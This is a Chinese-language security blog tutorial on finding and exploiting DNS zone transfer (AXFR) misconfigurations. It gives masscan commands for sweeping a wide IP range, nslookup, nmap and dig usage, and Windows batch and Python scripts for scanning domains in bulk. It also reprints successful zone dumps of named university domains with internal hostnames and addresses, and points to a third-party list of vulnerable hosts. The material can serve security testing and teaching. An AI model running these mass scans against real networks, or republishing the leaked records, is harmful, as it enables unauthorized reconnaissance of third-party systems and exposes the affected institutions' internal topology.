一、DNS域傳送
DNS ：Domain Name System
一個保存IP地址和域名相互映射關系的分布式資料庫，重要的互聯網基礎設施，默認使用的TCP/UDP埠號是53
常見DNS記錄型別：
1 A IP地址記錄,記錄一個域名對應的IP地址 2 AAAA IPv6 地址記錄，記錄一個域名對應的IPv6地址 3 CNAME 別名記錄，記錄一個主機的別名 4 MX 電子郵件交換記錄，記錄一個郵件域名對應的IP地址，如[email protected] 5 NS 域名服務器記錄 ,記錄該域名由哪臺域名服務器決議 6 PTR 反向記錄，也即從IP地址到域名的一條記錄 7 TXT 記錄域名的相關文本資訊
域傳送 ：DNS Zone Transfer
是指后備服務器從主服務器拷貝資料，并用得到的資料更新自身資料庫，在主備服務器之間同步資料庫，需要使用“DNS域傳送”
DNS服務器分為：主服務器、備份服務器和快取服務器
二、漏洞收集
2.1 利用網路搜索引擎收集域名服務器
shodan：https://www.shodan.io
zoomeye：https://www.zoomeye.org
fofa：https://fofa.so
2.2 利用masscan收集dns服務器
masscan：https://github.com/robertdavidgraham/masscan
Debian/Ubuntu安裝：
1 sudo apt-get install git gcc make libpcap-dev 2 git clone https://github.com/robertdavidgraham/masscan 3 cd masscan 4 make
掃描網段：
1 ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0
獲得開放53埠的潛在漏洞DNS服務器物件
ns.xml結果去重：
1 from lxml import etree 2 port = None 3 address = None 4 parsedServers = [] 5 #Opens the file used to store single enteries. 6 outputFile = open('ns.txt', 'a') 7 for event, element in etree.iterparse('ns.xml', tag="host"): 8 for child in element: 9 if child.tag == 'address': 10 address = child.attrib['addr'] 11 if child.tag == 'ports': 12 for a in child: 13 port = a.attrib['portid'] 14 if port > 1 and address > 1: 15 if address not in parsedServers: 16 print(address) 17 outputFile.write(address + '\n') 18 parsedServers.append(address) 19 port = None 20 address = None 21 element.clear() 22 outputFile.close() 23 print('End…………………………')
2.3 目標針對
針對某個目標域名，查詢目標所處域dns服務器是否有域傳送漏洞，從而獲得橫向滲透的機會和更多的可能性，見下文：
1 nslookup結合dig的科學利用
2.4 后人乘涼
我們稍微無恥一下，用一下別人收集好的dns服務器與域名：https://github.com/lijiejie/edu-dns-zone-transfer/blob/master/vulnerable_hosts.txt
ps: 收集dns服務器，推測出網段與決議的域，從而檢測DNS是否存在域傳送漏洞
三、漏洞檢測與利用
3.1 原理
1 DNS服務器配置不當，導致匿名用戶利用DNS域傳送協議獲取某個域的所有記錄； 2 通過可以實作DNS域傳送協議的程式，嘗試匿名進行DNS域傳送，獲取記錄
3.2 危害
1 網路拓撲結構泄露給潛在的攻擊者，包括一些安全性較低的內部主機，如測驗服務器等，直接加快、助長攻擊者的入侵程序
3.3 檢測與利用
3.3.1 nslookup
基本程序：
1 輸入nslookup命令進入互動式shell; 2 server 命令引數設定查詢將要使用的DNS服務器; 3 ls命令列出某個域中的所有域名; 4 exit命令退出
失敗案例
現在域傳送漏洞不太好找
1 > nslookup 2 DNS request timed out. 3 timeout was 2 seconds. 4 默認服務器: UnKnown 5 Address: 114.114.114.114 6 7 > server ss2.bjfu.edu.cn 8 默認服務器: ss2.bjfu.edu.cn 9 Address: 202.204.112.67 10 11 > ls bjfu.edu.cn 12 [ss2.bjfu.edu.cn] 13 *** 無法列出域 bjfu.edu.cn: Query refused 14 DNS 服務器拒絕將區域 bjfu.edu.cn 傳送到你的計算機，如果這不正確， 15 請檢查 IP 地址 202.204.112.67 的 DNS 服務器上 bjfu.edu.cn 的 16 區域傳送安全設定，
成功案例
1 > nslookup 2 默認服務器: public1.114dns.com 3 Address: 114.114.114.114 4 5 > server ring.cugb.edu.cn 6 默認服務器: ring.cugb.edu.cn 7 Address: 202.204.105.1 8 9 > ls cugb.edu.cn 10 [ring.cugb.edu.cn] 11 cugb.edu.cn. NS server = ring.cugb.edu.cn 12 cugb.edu.cn. A 127.0.0.1 13 acm A 121.194.86.2 14 bbs A 202.204.105.172 15 bm A 202.204.105.179 16 bsbm A 202.204.105.17 17 bslt A 202.204.109.241 18 cas A 202.204.105.97 19 ce A 202.204.99.249 20 chushi A 202.204.105.243 21 cj A 202.204.96.111 22 cms A 202.204.105.179 23 computer A 202.204.96.202 24 csc A 202.204.97.60 25 cugblx A 202.204.105.173 26 . 27 . 28 . 29 . 30 yx A 202.204.105.179 31 zhsh A 202.204.105.198 32 zzb A 202.204.105.243 33 >
非互動式方法 ：
為了避免和nslookup交換，可以撰寫一個ls.bat
1 echo ls %1 | nslookup – %2
%1代表第一個引數，即xxx.edu.cn
%2代表第二個引數，即dns.xxx.edu.cn
echo是回聲命令，原文輸出傳入的引數內容
測驗dns.xxx.edu.cn服務器，可以執行命令：
1 ls.bat xxx.edu.cn dns.xxx.edu.cn
3.3.2 nmap
1 nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn
dns-zone-transfer.domain指定要查詢的域
dns.xxx.edu.cn為指定的查詢域名服務器
成功的話會如下所示，列出了指定域中所有的記錄(如果埠屏蔽，就查不出了，不太實用)：
1 > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn 2 3 Starting Nmap 7.10 ( https://nmap.org ) at **** 4 Nmap scan report for dns.hzmc.edu.cn (211.86.0.1) 5 Host is up (0.38s latency). 6 PORT STATE SERVICE 7 53/tcp open domain 8 | dns-zone-transfer: 9 | hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 10 | hzmc.edu.cn. NS ns.hzmc.edu.cn. 11 | hzmc.edu.cn. NS dns.hzmc.edu.cn. 12 | hzmc.edu.cn. A 211.86.0.1 13 | hzmc.edu.cn. MX 10 ns.hzmc.edu.cn. 14 | dns.hzmc.edu.cn. A 211.86.0.1 15 | ftp.hzmc.edu.cn. CNAME dns.hzmc.edu.cn. 16 | www.jwc.hzmc.edu.cn. A 211.86.3.182 17 | www.lib.hzmc.edu.cn. A 211.86.3.38 18 | www.spdb.hzmc.edu.cn. A 211.86.0.3 19 | www.hzmc.edu.cn. A 211.86.0.4 20 | www.yzzp.hzmc.edu.cn. A 211.86.0.8 21 | www.zwc.hzmc.edu.cn. A 211.86.2.200 22 |_hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 23 24 Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
3.3.3 dig
Windows免安裝版dig下載地址：http://download.csdn.net/detail/c465869935/9700646
使用命令：
1 dig @dns.xxx.edu.cn axfr xxx.edu.cn
@指定域名服務器；axfr 為域傳送指令；xxx.edu.cn表示要查詢的域名
成功測驗：
1 > dig @ring.cugb.edu.cn axfr cugb.edu.cn 2 3 ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn 4 ; (1 server found) 5 ;; global options: +cmd 6 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 7 cugb.edu.cn. 86400 IN TXT "v=spf1 ip4:202.204.105.6/24 ~all" 8 cugb.edu.cn. 86400 IN NS ring.cugb.edu.cn. 9 cugb.edu.cn. 86400 IN MX 5 mail.cugb.edu.cn. 10 cugb.edu.cn. 86400 IN A 127.0.0.1 11 cugb.edu.cn. 86400 IN AAAA ::1 12 acm.cugb.edu.cn. 86400 IN A 121.194.86.2 13 bbs.cugb.edu.cn. 86400 IN A 202.204.105.172 14 bm.cugb.edu.cn. 86400 IN A 202.204.105.179 15 . 16 . 17 . 18 . 19 zhsh.cugb.edu.cn. 86400 IN A 202.204.105.198 20 zzb.cugb.edu.cn. 86400 IN A 202.204.105.243 21 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 22 ;; Query time: 46 msec 23 ;; SERVER: 202.204.105.1#53(202.204.105.1) 24 ;; WHEN: **** 25 ;; XFR size: 114 records (messages 1, bytes 2562)
dig的批處理利用 For Windows
建立檔案： .LandGrey-Dns-Zone-Transfer-Scan.bat
下載鏈接：http://download.csdn.net/detail/c465869935/9700869
寫入以下內容：
1 @echo off 2 Rem Build By LandGrey 3 title Dns Zone Transfer Scan 4 echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 5 for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt
解釋：
整個批處理主要是for回圈一行一行的讀取當前目錄下的“/dns-zone-transfer/hostlist.txt”檔案，進行作業； %cd% 代表bat檔案當前目錄；delims=指定分隔符；表示讀取的一行文本以空格來分隔；當然，也可以自己修改分隔符；tokens=1,2 表示取以分隔符分隔的第一個和第二個元素；do后面是具體做的事: 一邊提示正在掃描的域名，一邊掃描域傳送漏洞；在批處理中，%%i用來代指第一個元素，根據字母順序（i,j,k…），%%j指代第二個元素，以此類推； dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替換模版； 這就要求hostlist.txt檔案中的書寫格式應該為:“[dns-server] [domain]”，類似于如下的形式：
1 dns.xxx.edu.cn xxx.edu.cn
%cd%\dig.exe表示 .LandGrey-Dns-Zone-Transfer-Scan.bat檔案要與dig.exe放在同一個目錄下； 最后查詢結果全部保存在當前目錄下的：“/dns-zone-transfer/ScanResults.txt”檔案中；
nslookup結合dig的科學利用
如果獲得了目標域名，并不清楚目標的主dns服務器時，可以通過用如下的nslookup陳述句，先查詢目標域名的主dns服務器，然后再用dig進行DNS域傳送檢測，最后用python腳本實作：
1 > nslookup -type=ns landgrey.cn 2 服務器: public1.114dns.com 3 Address: 114.114.114.114 4 5 非權威應答: 6 landgrey.cn nameserver = dns9.hichina.com 7 landgrey.cn nameserver = dns10.hichina.com
單個查詢(實用)
下載地址：https://github.com/LandGrey/dns-zone-transfer-tester/blob/master/dztester.py
1 #!/usr/bin/env python 2 # coding:utf-8 3 # 4 # Build by LandGrey 2016-12-03 5 # 6 7 import re 8 import os 9 import sys 10 11 12 def dns_zone_tranfer_finder(domain): 13 print('[+] Nslookup %s' % domain) 14 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List 15 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 16 if len(dns_servers) == 0: 17 print('[+] No DNS Server Found!\n') 18 exit(0) 19 for singledns in dns_servers: 20 print('[+] Using @%s' % singledns) 21 cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read() 22 # print cmd_res 23 if cmd_res.find('XFR size') > 0: 24 print('[+] Vulnerable dns server found:'), singledns 25 print(cmd_res) 26 else: 27 print('[+] No Vulnerable found') 28 29 30 def usage(): 31 print('[+] Usage: python DZT-tester.py [domain]\n') 32 33 34 if __name__ == "__main__": 35 if len(sys.argv) != 2: 36 usage() 37 elif '-h' in sys.argv[1]: 38 usage() 39 else: 40 domain = sys.argv[1] 41 print('[+] Test %s' % domain) 42 dns_zone_tranfer_finder(domain) 43 print('[+] Finished!')
使用方式：
1 python dztester.py [domain]
批量查詢
腳本同一目錄下應有‘dns-zone-transfer’目錄；'dns-zone-transfer’目錄下有‘dns’子目錄； 要檢測的域名串列存放在‘dns-zone-transfer\domain.txt’中，一行一個；結果存在'dns-zone-transfer\dns'目錄和'dns-zone-transfer\vulnerable_hosts.txt'檔案中
1 # coding:utf-8 2 3 import re 4 import os 5 import sys 6 import threading 7 8 9 def dns_zone_tranfer_finder(): 10 global c_index 11 while True: 12 lock.acquire() 13 if c_index >= len(DomainLists): 14 lock.release() 15 break 16 domain = DomainLists[c_index].lstrip('www.') 17 c_index += 1 18 lock.release() 19 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List 20 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 21 for server in dns_servers: 22 if len(server) < 5: 23 server += domain 24 cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read() 25 if cmd_res.find('XFR size') > 0 \ 26 and cmd_res.find('Transfer failed.') < 0 \ 27 and cmd_res.find('connection timed out') < 0: 28 lock.acquire() 29 print('*' * 10 + ' Vulnerable dns server found:', server, '*' * 10) 30 lock.release() 31 with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f: 32 f.write('%s %s\n' % (server.ljust(30), domain)) 33 with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f: 34 f.write(cmd_res) 35 36 37 if __name__ == "__main__": 38 currentdir = os.path.dirname(sys.argv[0]) 39 target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt')) 40 DomainLists = [] 41 for host in target.readlines(): 42 DomainLists.append(host) 43 print(u'采集 %d 個...' % len(DomainLists)) 44 threads = [] 45 c_index = 0 46 lock = threading.Lock() 47 for i in range(10): 48 t = threading.Thread(target=dns_zone_tranfer_finder) 49 t.start() 50 threads.append(t) 51 for t in threads: 52 t.join() 53 print('All Done!')
漏洞存在標識主要是dig命令結果中出現特征字串“XFR size”
運行起來類似下面這樣：
1 ********** Vulnerable dns server found: nknu.nknu.edu.tw ********** 2 ********** Vulnerable dns server found: ns2.ntnu.edu.tw ********** 3 ********** Vulnerable dns server found: ns2.must.edu.mo ********** 4 All Done!
四、免責宣告
本文僅做技術研究，切勿用本文方法違法犯罪！
更多獨家精彩內容 請掃碼關注個人公眾號，一起Coding吧！
—— —— —— —— — END —— —— —— —— ————
歡迎掃碼關注我的公眾號
小鴻星空科技
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/350714.html
標籤：其他
上一篇：seq2seq之雙向解碼